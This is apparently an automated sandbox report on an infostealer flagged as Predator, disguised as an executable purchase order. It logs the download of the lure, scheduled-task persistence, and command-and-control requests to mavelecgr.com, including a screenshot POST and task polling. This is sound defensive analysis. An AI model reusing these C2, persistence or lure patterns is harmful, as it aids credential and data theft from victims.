Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000444E000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google
Source: RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	String found in binary or memory: https://www.google.com/search?q=chrome&oq=chrome&aqs=chrome..69i57j0j5l3j69i60l3.2663j0j4&sourceid=c

Source: unknown

HTTP traffic detected: POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c01db3e779Host: mavelecgr.comContent-Length: 883749Expect: 100-continue

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/897446870190800920/1077789889103405057/REVISED_PO.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoAccept: /Accept-Encoding: identityHost: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49696 version: TLS 1.2

Source: RudGXFgqTDEzz.exe, 0000000B.00000002.432360447.00000000013A8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Predator

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 4972, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 11.2.RudGXFgqTDEzz.exe.2ff855c.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 11.2.RudGXFgqTDEzz.exe.3000698.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen

Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 11.2.RudGXFgqTDEzz.exe.2ff855c.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 11.2.RudGXFgqTDEzz.exe.3000698.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_00F3C7C0	5_2_00F3C7C0
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_00F3C7BB	5_2_00F3C7BB
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_00F3AF90	5_2_00F3AF90
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_04D6D17F	5_2_04D6D17F
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 8_2_0145B29C	8_2_0145B29C
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 8_2_0145C310	8_2_0145C310
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 8_2_014599D0	8_2_014599D0
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 8_2_0145DFD0	8_2_0145DFD0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0139C568	11_2_0139C568
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0139AF90	11_2_0139AF90
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708CF00	11_2_0708CF00
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708D743	11_2_0708D743
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708BE68	11_2_0708BE68
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708E550	11_2_0708E550
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708F498	11_2_0708F498
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_07088241	11_2_07088241
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_07087811	11_2_07087811
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708CEDB	11_2_0708CEDB
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708F485	11_2_0708F485
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708C2A8	11_2_0708C2A8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_07086980	11_2_07086980
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_07086990	11_2_07086990
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A6767	11_2_071A6767
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1B88	11_2_071A1B88
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A62A0	11_2_071A62A0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A4EF0	11_2_071A4EF0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A8908	11_2_071A8908
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A0318	11_2_071A0318
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A0308	11_2_071A0308
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1730	11_2_071A1730
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1720	11_2_071A1720
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1B7B	11_2_071A1B7B
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A53B4	11_2_071A53B4
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A53D8	11_2_071A53D8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A6A50	11_2_071A6A50
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A2670	11_2_071A2670
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A266E	11_2_071A266E
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A6A60	11_2_071A6A60
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A4EDF	11_2_071A4EDF
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A0ED0	11_2_071A0ED0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A0EC0	11_2_071A0EC0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1548	11_2_071A1548
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A1546	11_2_071A1546
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A19B3	11_2_071A19B3
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A59C8	11_2_071A59C8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A19C0	11_2_071A19C0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071AB8C8	11_2_071AB8C8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AA650	11_2_0E5AA650
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A4638	11_2_0E5A4638
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A4F08	11_2_0E5A4F08
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A65D0	11_2_0E5A65D0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AE970	11_2_0E5AE970
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AC904	11_2_0E5AC904
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A99D8	11_2_0E5A99D8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5ACA19	11_2_0E5ACA19
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A42F0	11_2_0E5A42F0
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AA389	11_2_0E5AA389
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A99C9	11_2_0E5A99C9
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AA990	11_2_0E5AA990
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5AA981	11_2_0E5AA981

Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RudGXFgqTDEzz.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\wget.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip"
Source: unknown	Process created: C:\Windows\SysWOW64\7za.exe 7za x -y -pinfected -o"C:\Users\user\Desktop\extract" "C:\Users\user\Desktop\download\REVISED_PO.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE {path}
Source: unknown	Process created: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe "C:\Users\user\AppData\Local\Temp\update_232209.exe" / start
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe "C:\Users\user\AppData\Local\Temp\update_232209.exe" / start
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp20E9.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp7811.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip"	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE {path}	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp20E9.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp7811.tmp
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\Desktop\cmdline.out

Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

File created: C:\Users\user\AppData\Local\Temp\tmp483C.tmp

Jump to behavior

Source: classification engine

